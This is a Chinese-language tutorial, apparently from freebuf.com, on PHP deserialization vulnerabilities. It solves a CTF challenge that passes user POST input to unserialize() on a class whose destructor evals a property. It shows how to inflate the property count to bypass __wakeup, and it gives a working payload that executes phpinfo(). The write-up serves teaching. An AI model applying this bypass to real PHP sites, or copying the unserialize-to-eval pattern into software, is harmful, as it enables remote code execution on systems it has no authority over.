一篇文章带你了解反序列化漏洞 – 作者:Holicz

前言

这篇讲反序列化,可能不会很高深,我之前就被反序列化整懵逼了。

直到现在我对反序列化还是不够深入,今天就刚好可以研究研究。

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0x01.反序列化漏洞介绍

序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给unserialize()的参数可控时,那么用户就可以注入payload,进行反序列化的时候就可能触发对象中的一些魔术方法。

什么是序列化(serialize)? 对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】。

什么是反序列化(unserialize)? 将字符串转换为状态信息 序列化 <—>反序列化。

PHP中的几个特殊的魔术方法。

1.__construct():当对象创建(new)时会自动调用,但在unserialize()时是不会 自动调用的(构造函数) 2.__destruct():当对象操作执行完毕后自动执行__destruct()函数的代码。

3.__wakeup:unserialize()时自动调用。

还有好多,我就不细讲了,关于其他的魔术方法可以百度百度。

__wakeup() //使用unserialize时触发 
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

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0x02.通过demo理解反序列化漏洞

如果不懂,实在不知道,可以狭义的理解。

序列化是编码。

反序列化是解码。

下面的话我仔细解释:

<?php
class test{
   var $test = "MSKJ";
   function __destruct(){
       //echo $this->test;
  }
}
$obj = new test();
$ser = serialize($obj);
echo $ser;
?>

这里就用 __destruct演示,后面的实验我会用 __wakeup()来演示。

上面这段代码为序列化,可以理解成编码。

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O:4:"test":1:{s:4:"test";s:4:"MSKJ";}

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接下来就是就是解码(反序列化)。

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像这个就可以打xss了,然后貌似基本的讲的差不多了。

这只是我个人理解,帮助大家快速建立一个理解,别说我误人子弟。

0x03. 通过某CTF题目继续潜入了解反序列化漏洞

接下来就开始讲一下某CTF题目,对于反序列化,我一直模棱两可,之前是一直以为是优先级的问题,但是还是不好确定,就先把这个疑问放到一边了(如果哪位兄弟想探讨一下可以公众号私聊一下)。

<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
   var $warn = "No hacker.";
   function __destruct(){
       eval($this->warn);
  }
   function __wakeup(){
       foreach(get_object_vars($this) as $k => $v) {
           $this->$k = null;
      }
  }
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>

这边可以看出这个类用了两个方法。

1.__destruct: 对象操作执行完毕后自动执行该函数内的代码;

2.__wakeup: 遇到 unserialize 时触发。

这边的 __wakeup 是事件型的,如果没遇到 unserialize 就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。

看到了一篇文章很好:https://mp.weixin.qq.com/s/JzGDyP6RGZ4xCxV4gqM2Sw 可以看看。

<?php
header("Content-type: text/html; charset=utf-8");
class people
{
   public $name = "f1r3K0";
   public $age = '18';
   function __wakeup(){
       echo "这是 __wakeup()";
       echo "<br>";
  }
   function __construct(){
       echo "这是 __consrtuct()";
       echo "<br>";
  }
   function __destruct(){
       echo "这是 __destruct()";
       echo "<br>";
  }
   function __toString(){
       echo "这是 __toString";
       echo "<br>";
  }
}
$class =  new people();
$class_ser = serialize($class);  //序列化
print_r($class_ser);            
$class_unser = unserialize($class_ser); //反序列化
print_r($class_unser);
?>

通过这段代码,可以看出 __wakeup()是优先执行的,优先级高于 __destruct()

那么再看看上面的ctf题目就懂了,因为遇到了unserialize 得先执行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,所以得绕过这个 __wakeup

关于 get_object_vars 是什么可以看看这篇文章:http://blog.sina.com.cn/s/blog_4ce89f200100rhrx.html

其实就是遍历一下非静态的,可能有新手玩家不理解,没事,咱写一份代码就懂了,手工测试(这也是我最常用的方法)。

<?php
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
class object1 {
   var $warn = "No hacker.";
   function __destruct(){
   echo "这是魔术方法__destruct";
   echo "<br> ";
       echo "hello world";
  }
function __wakeup(){
$this->warn = null;
print_r(get_object_vars($this));
echo "<br>";
}
}
$cmd = $_GET[cmd];
unserialize($cmd);
//$b = new convent();
//$c = serialize($b);
//echo $c;
?>

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看下输出结果,其实就是把 warn的值变为空,那么就懂了这个 __wakeup中的代码是干嘛的了。

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就是把 warn的值进行过滤,把它变成空,所以我们不能让 __wakeup执行,目标明确,开始淦它~~~

__wakeup是当反序列化成功时,才会调用,那我们让它失败呢?其实只要让它失败,就不会调用这个魔术方法了。

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通过修改一下,让这个源码生成一个exp,当然,你也可以自己构造。

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O:7:"convent":1:{s:4:"warn";s:10:"No hacker.";}

里面的值是不可以修改的,但是可以修改的属性(变量)数大于实际的个数时,就可以绕过 __wakeup

因为我看了好多讲这个绕过的方法,就直接一句修改属性大于实际个数,我是真的fo了,一句话就算原理,看得我都懵逼中……….. (遇到这种情况可以手动写份代码fuzz一下)。

O:7:"convent":2:{s:4:"warn";s:10:"No hacker.";}

也就是把1改为其他数字就可以了,也可以改成10。然后把 No hacker改为 phpinfo();但是要注意修改 前面 s的值,因为 phpinfo();也是占了十位,所以不用去改。

O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

成功构造payload了,然后再post传参里面传入。

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总结

本篇文章也就是简单的了解下什么是 php反序列化,本篇文章虽然不长,但是讲了反序列化是什么,怎么形成反序列化漏洞。然后多个魔术方法情况下是看哪个先执行。

比如 __wakeip是个事件型的,遇到unserialize就会优先调用执行,但是__construct的执行顺序还是优先 __wakeup。当然,这只是举个例子,方法还是一样的。

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来源:freebuf.com 2020-07-02 15:11:45 by: Holicz

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THE END
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